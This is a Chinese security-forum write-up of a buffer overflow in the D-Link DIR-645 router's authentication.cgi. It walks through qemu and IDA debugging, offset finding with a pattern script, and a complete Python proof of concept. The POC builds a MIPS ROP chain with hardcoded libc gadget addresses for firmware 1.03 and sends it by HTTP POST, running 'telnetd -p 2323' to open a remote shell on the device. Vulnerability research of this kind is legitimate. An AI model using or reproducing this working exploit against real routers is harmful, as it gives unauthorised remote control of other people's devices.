-
-
[原创]D-Link DIR-645路由器溢出分析
-
2021-8-25 12:16 14748
-
漏洞介绍
该漏洞是CGI脚本在处理authentication.cgi请求,来读取POST参数中的"password"参数的值时造成的缓冲区溢出。
固件提取文件系统
固件下载:
ftp://ftp2.dlink.com/PRODUCTS/DIR-645/REVA/DIR-645_FIRMWARE_1.03.ZIP
qemu+IDA调试分析
1,run_cgi.sh脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | #!/bin/bash # 待执行命令 # sudo ./run_cgi.sh `python -c "print 'uid=A21G&password='+'A'*0x600"` "uid=A21G" INPUT = "$1" # 参数1,uid=A21G&password=1160个A TEST = "$2" # 参数2,uid=A21G LEN = $(echo - n "$INPUT" | wc - c) # 参数1的长度 PORT = "1234" # 监听的调试端口 # 用法错误则提示 if [ "$LEN" = = "0" ] || [ "$INPUT" = = "-h" ] || [ "$UID" ! = "0" ] then echo - e "\nUsage: sudo $0 \n" exit 1 fi # 复制qemu-mipsel-static到本目录并重命名,注意是static版本 cp $(which qemu - mipsel - static) . / qemu echo $TEST # | 管道符:前者输出作为后者输入 # chroot 将某目录设置为根目录(逻辑上的) echo "$INPUT" | chroot . . / qemu - E CONTENT_LENGTH = $ LEN - E CONTENT_TYPE = "application/x-www-form-urlencoded" - E REQUEST_METHOD = "POST" - E REQUEST_URI = "/authentication.cgi" - E REMOTE_ADDR = "127.0.0.1" - g $PORT / htdocs / web / authentication.cgi echo 'run ok' rm - f . / qemu # 删除拷贝过来的执行文件 |
2,调试目标程序需要匹配正确。(有知道原因的可以跟帖回复,也方便大家览阅)
3,IDA分析,追踪问题函数
4,填充数据调试
IDA调试参考:
获得&ra在栈上的地址(这是非子叶函数的性质):
F8执行观察,直到栈上保存&ra的数据内容发送变化(可猜测这里可能时溢出点):
注意:
为了防止后面可能出现二次溢出,或则其他处溢出才是真正影响被程序被控制的位置,我们继续F8执行观察。
程序异常结束了,发现时a1寄存器的值是栈上的,大概猜测一下是我们填充的值太大影响到了这位置上的值。
5,看看a1正常的内容读取:
缩短填充内容的长度,重新调试:
程序走到authenticationcgi_main的返回位置才退出:
如果需要看到更明显的步骤,可以自己找到此处再下个断点
结论:
真实溢出位置就是read()函数引起的。
6,分析read()函数上下文传入传出数据。
先到read()函数跳转处分析参数的来源
与目的地
:
分析方法:
由于MIPS是流水线执行指令顺序,寻找参数
先到函数跳转处先向下查找参数,然受再向上查找参数。
最终得到read()函数原型:
read(fileno(stdin), var_430, atoi(getenv("CONTENT_LENGTH")))
7,注var_430计算大小方式:
根据栈中变量的顺序去计算
至此漏洞定位分析完,起始后面还有些危险函数可能存在危险溢出点需要验证,不过方法都无非是构造数据填充
加上调试观察构造的数据位置
。由于后面的函数都达不到溢出,所以就不附上步骤了。
- 根据漏洞描述,POST提交数据时,并不是任意格式的数据都能造成缓存区溢出,需要”id=XX&&password=XX“形式的格式。
验证分析:
程序异常退出在此处,分析:
在向上分析,发现数据最终来源与$s2相关的数据,双击进入,发现固定格式,读取后面数据为strlen服务:
更改回要求的形式获得结果:
漏洞利用
1,调试确定偏移
这里分享个更方便的脚本patter.pl脚本
生成构造数据:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 | #!/usr/bin/perl -w use strict; # Generate/Search Pattern (gspattern.pl) v0.2 # Scripted by Wasim Halani (washal) # Visit me at https://securitythoughts.wordpress.com/ # Thanks to hdm and the Metasploit team # Special thanks to Peter Van Eeckhoutte(corelanc0d3r) for his amazing Exploit Development tutorials # This script is to be used for educational purposes only. my $ustart = 65 ; my $uend = 90 ; my $lstart = 97 ; my $lend = 122 ; my $nstart = 0 ; my $nend = 9 ; my $length ; my $string = ""; my ($upper, $lower, $num); my $searchflag = 0 ; my $searchstring; sub credits(){ print "\nGenerate/Search Pattern \n" ; print "Scripted by Wasim Halani (washal)\n" ; print "https://securitythoughts.wordpress.com/\n" ; print "Version 0.2\n\n" ; } sub usage(){ credits(); print " Usage: \n" ; print " gspattern.pl \n" ; print " Will generate a string of given length. \n" ; print "\n" ; print " gspattern.pl \n" ; print " Will generate a string of given length,\n" ; print " and display the offsets of pattern found.\n" ; } sub generate(){ credits(); $length = $ARGV[ 0 ]; #print "Generating string for length : " .$length . "\n"; if (length($string) = = $length){ finish(); } #looping for the uppercase for ($upper = $ustart; $upper < = $uend;$upper + + ){ $string = $string. chr ($upper); if (length($string) = = $length){ finish(); } #looping for the lowercase for ($lower = $lstart; $lower < = $lend;$lower + + ){ $string = $string. chr ($lower); if (length($string) = = $length){ finish(); } #looping for the numeral for ($num = $nstart; $num < = $nend;$num + + ){ $string = $string.$num; if (length($string) = = $length){ finish(); } $string = $string. chr ($upper); if (length($string) = = $length){ finish(); } if ($num ! = $nend){ $string = $string. chr ($lower); } if (length($string) = = $length){ finish(); } } } } } sub search(){ my $offset = index($string,$searchstring); if ($offset = = - 1 ){ print "Pattern '" .$searchstring. "' not found\n" ; exit( 1 ); } else { print "Pattern '" .$searchstring. "' found at offset(s) : " ; } my $count = $offset; print $count. " " ; while ($length){ $offset = index($string,$searchstring,$offset + 1 ); if ($offset = = - 1 ){ print "\n" ; exit( 1 ); } print $offset . " " ; $count = $count + $offset; } print "\n" ; exit( 1 ); } sub finish(){ print "String is : \n" .$string . "\n\n" ; if ($searchflag){ search(); } exit( 1 ); } if (!$ARGV[ 0 ]){ usage(); #print "Going into usage.."; } elsif ($ARGV[ 1 ]){ $searchflag = 1 ; $searchstring = $ARGV[ 1 ]; generate(); #print "Going into pattern search..."; } else { generate(); #print "Going into string generation..."; } |
用法:
2,patter.pl脚本使用方法
有两种操作模式:
1) 只提供一个参数,即要生成的字符串的长度
( ./ gspattern.pl [length of string] )
2) 字符串的长度和要找到偏移量的模式提供
(./ gspattern.pl [字符串长度] [搜索模式])
注(搜索模式):
获得要计算偏移溢出位置的hex值,转化为ASCII码。(记住一定要根据大小端序来输入,下面步骤中已举例)
3,
生成构造数据(我直接写入文件了,它把description也一块写入了,需要进去删除下):
1 | . / pattern.pl 1160 > test_auth |
调试确定需要的偏移位置值:
1 | sudo . / run_cgi.sh `python - c "print 'uid=A21G&password='+open('test_auth','r').read(1160)" ` "uid=A21G" |
将0x38684237 转成对应ASCII码:8hB7
4,构造ROP参考:家用路由器漏洞挖掘实例分析
5,POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 | import sys import time import string import socket from random import Random import urllib, urllib2, httplib class MIPSPayload: BADBYTES = [ 0x00 ] LITTLE = "little" BIG = "big" FILLER = "A" BYTES = 4 def __init__( self , libase = 0 , endianess = LITTLE, badbytes = BADBYTES): self .libase = libase self .shellcode = "" self .endianess = endianess self .badbytes = badbytes def rand_text( self , size): str = '' chars = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0123456789' length = len (chars) - 1 random = Random() for i in range (size): str + = chars[random.randint( 0 ,length)] return str def Add( self , data): self .shellcode + = data def Address( self , offset, base = None ): if base is None : base = self .libase return self .ToString(base + offset) def AddAddress( self , offset, base = None ): self .Add( self .Address(offset, base)) def AddBuffer( self , size, byte = FILLER): self .Add(byte * size) def AddNops( self , size): if self .endianess = = self .LITTLE: self .Add( self .rand_text(size)) else : self .Add( self .rand_text(size)) def ToString( self , value, size = BYTES): data = "" for i in range ( 0 , size): data + = chr ((value >> ( 8 * i)) & 0xFF ) if self .endianess ! = self .LITTLE: data = data[:: - 1 ] return data def Build( self ): count = 0 for c in self .shellcode: for byte in self .badbytes: if c = = chr (byte): raise Exception( "Bad byte found in shellcode at offset %d: 0x%.2X" % (count, byte)) count + = 1 return self .shellcode def Print ( self , bpl = BYTES): i = 0 for c in self .shellcode: if i = = 4 : print "" i = 0 sys.stdout.write( "\\x%.2X" % ord (c)) sys.stdout.flush() if bpl > 0 : i + = 1 print "\n" class HTTP: HTTP = 'http' def __init__( self , host, proto = HTTP, verbose = False ): self .host = host self .proto = proto self .verbose = verbose self .encode_params = True def Encode( self , data): #just for DIR645 if type (data) = = dict : pdata = [] for k in data.keys(): pdata.append(k + '=' + data[k]) data = pdata[ 1 ] + '&' + pdata[ 0 ] else : data = urllib.quote_plus(data) return data def Send( self , uri, headers = {}, data = None , response = False ,encode_params = True ): html = "" if uri.startswith( '/' ): c = '' else : c = '/' url = '%s://%s' % ( self .proto, self .host) uri = '/%s' % uri if data is not None : data = self .Encode(data) #print data if self .verbose: print url httpcli = httplib.HTTPConnection( self .host, 80 , timeout = 30 ) httpcli.request( 'POST' ,uri,data,headers = headers) response = httpcli.getresponse() print response.status print response.read() if __name__ = = '__main__' : libc = 0x2aaf8000 # so动态库的加载基址 target = { "1.03" : [ 0x531ff , # 伪system函数地址(只不过-1了,曲线救国,避免地址出现00截断字符 0x158c8 , # rop chain 1(将伪地址+1,得到真正的system地址,曲线救国的跳板 0x159cc , # rop chain 2(执行system函数,传参cmd以执行命令 ], } v = '1.03' cmd = 'telnetd -p 2323' # 待执行的cmd命令:在2323端口开启telnet服务 ip = '192.168.0.1' # 服务器IP地址//here # 构造payload payload = MIPSPayload(endianess = "little" , badbytes = [ 0x0d , 0x0a ]) payload.AddNops( 1011 ) # filler # 7. 填充1011个字节,$s0偏移为1014,129行target数组中地址只占了3,04-3=01 payload.AddAddress(target[v][ 0 ], base = libc) # $s0 payload.AddNops( 4 ) # $s1 payload.AddNops( 4 ) # $s2 payload.AddNops( 4 ) # $s3 payload.AddNops( 4 ) # $s4 payload.AddAddress(target[v][ 2 ], base = libc) # $s5 payload.AddNops( 4 ) # unused($s6) payload.AddNops( 4 ) # unused($s7) payload.AddNops( 4 ) # unused($fp) #<<揭秘家用路由器0day漏洞挖掘技术>>这里是$gp,可能是作者笔误吧,实际验证应该是$fp,下面注释给出验证数据。 payload.AddAddress(target[v][ 1 ], base = libc) # $ra payload.AddNops( 4 ) # fill payload.AddNops( 4 ) # fill payload.AddNops( 4 ) # fill payload.AddNops( 4 ) # fill payload.Add(cmd) # shellcode # 构造http数据包 pdata = { 'uid' : '3Ad4' , 'password' : 'AbC' + payload.Build(), } header = { 'Cookie' : 'uid=' + '3Ad4' , 'Accept-Encoding' : 'gzip, deflate' , 'Content-Type' : 'application/x-www-form-urlencoded' , 'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)' } # 发起http请求 try : HTTP(ip).Send( 'authentication.cgi' , data = pdata,headers = header,encode_params = False ,response = True ) print '[+] execute ok' except httplib.BadStatusLine: print "Payload deliverd." except Exception,e: print "2Payload delivery failed: %s" % str (e) |
注释:栈内数据对应寄存器
qemu开启仿真环境
1,打开qemu系统
1 | sudo qemu - system - mipsel - M malta - kernel vmlinux - 3.2 . 0 - 4 - 4kc - malta - hda debian_squeeze_mipsel_standard.qcow2 - append "root=/dev/sda1 console=tty0" - net nic - net tap - nographic |
2,利用SCP把路由系统文件传过去,之前文章有写过,不清楚的请看参考链接。
3,开始仿真环境前准备
挂载固件文件系统中的proc目录和dev目录到chroot环境,因为proc中存储着进程所需的文件,比如pid文件等等,而dev中存储着相关的设备:
1 2 3 | mount - o bind / dev . / squashfs - root / dev mount - t proc / proc . / squashfs - root / proc / chroot . / squashfs - root / sh |
然后进入/etc/init.d/目录下,执行./rcS(init.d文件夹下存储的是启动的时候初始化服务和环境rcS文件)启动:
然后根据报错提示去修复
当然用别的仿真环境跑起来也都一样运行,这里我没启动成功,主要是分析漏洞整个流程。关于如何更好的仿真实现开启路由环境,欢迎大家交流。
参考
[1]https://bbs.pediy.com/thread-259274.htm
[2]https://bbs.pediy.com/thread-268623.htm
[招生]科锐逆向工程师培训46期预科班将于 2023年02月09日 正式开班